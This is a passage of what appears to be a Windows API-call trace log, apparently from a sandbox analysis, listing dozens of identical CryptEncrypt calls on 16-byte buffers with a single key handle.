hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.796] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.797] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.798] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.799] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0117.800] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, 